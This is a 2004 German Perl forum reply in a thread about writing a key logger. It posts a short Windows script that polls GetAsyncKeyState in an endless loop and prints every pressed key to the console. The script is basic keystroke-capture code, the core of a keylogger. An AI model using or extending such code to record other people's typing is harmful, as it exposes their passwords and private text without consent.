Thread Key Logger in Perl: Tastatureingaben abfangen (9 answers)
Opened by eisbeer at 2004-08-16 15:38

coax
 2004-08-16 17:02
#49313 #49313
User since
2003-08-11
457 Artikel
BenutzerIn
[default_avatar]
das sollte's tun...
Code: (dl )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/perl
$|++;

use strict;
use warnings;

use Win32::Api;

my $GetAsyncKeyState = Win32::API->new('user32', 'GetAsyncKeyState', 'N', 'I');

while(1) {
   for my $keycode (8..255) {
       if($GetAsyncKeyState->Call($keycode) == -32767) {
          print chr($keycode);
       }
   }
}


Grusz coax.
,,Das perlt aber heute wieder...'' -- Dittsche

View full thread Key Logger in Perl: Tastatureingaben abfangen